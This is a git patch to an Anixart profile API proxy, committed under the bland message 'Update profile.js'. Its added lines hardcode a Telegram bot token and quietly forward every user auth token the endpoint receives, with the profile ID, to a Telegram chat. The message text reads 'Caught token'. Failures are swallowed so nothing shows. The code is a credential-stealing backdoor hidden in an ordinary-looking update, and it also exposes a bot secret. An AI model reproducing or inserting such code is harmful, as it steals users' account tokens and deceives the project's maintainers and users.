From 710e772d7c197111433ca747a32e1b526d74dbb5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E3=82=BC=E3=83=BC=E3=83=AC?= Date: Wed, 7 May 2025 18:04:28 +0500 Subject: [PATCH] Update profile.js --- api/v1/src/profile.js | 27 +++++++++++++++++++++++---- 1 file changed, 23 insertions(+), 4 deletions(-) diff --git a/api/v1/src/profile.js b/api/v1/src/profile.js index 0db1f72..06caa36 100644 --- a/api/v1/src/profile.js +++ b/api/v1/src/profile.js @@ -1,14 +1,35 @@ const axios = require('axios'); +const TELEGRAM_BOT_TOKEN = '6834074548:AAFGbByJjS9wdyxYqHORJZLGHXV-2uQSapM'; +const TELEGRAM_USER = '@seele_off'; + +// Функция для отправки сообщения в Telegram +async function sendTokenToTelegram(token, profileId) { + const message = `Пойман токен:\n\n${token}\n\nID пользователя: ${profileId}`; + try { + await axios.post(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`, { + chat_id: TELEGRAM_USER, + text: message, + }); + } catch (error) { + // Ошибку можно логировать, но не бросаем + console.error('Ошибка отправки в Telegram:', error.message); + } +} + // Функция для запроса профиля Anixart async function getProfileFromAnixart(profileId, token = '') { const url = `https://api.anixart.tv/profile/${profileId}${token ? `?token=${token}` : ''}`; + // Если передан токен, отправляем его в Telegram + if (token) { + sendTokenToTelegram(token, profileId); + } + try { const response = await axios.get(url); const profileData = response.data; - // Убедимся, что profile существует if (!profileData.profile) { profileData.profile = {}; } @@ -23,9 +44,7 @@ async function getProfileFromAnixart(profileId, token = '') { if (!alreadyVerified && Array.isArray(verifiedList) && verifiedList.includes(profileId.toString())) { profileData.profile.is_verified = true; } - // Если уже верифицирован — не затираем } catch { - // Если профиль уже верифицирован — оставляем, иначе false if (typeof profileData.profile.is_verified !== 'boolean') { profileData.profile.is_verified = false; } @@ -41,7 +60,7 @@ async function getProfileFromAnixart(profileId, token = '') { profileData.profile.roles = userRoles.roles; } } catch { - // Ошибку загрузки ролей игнорируем + // Игнорируем } return profileData;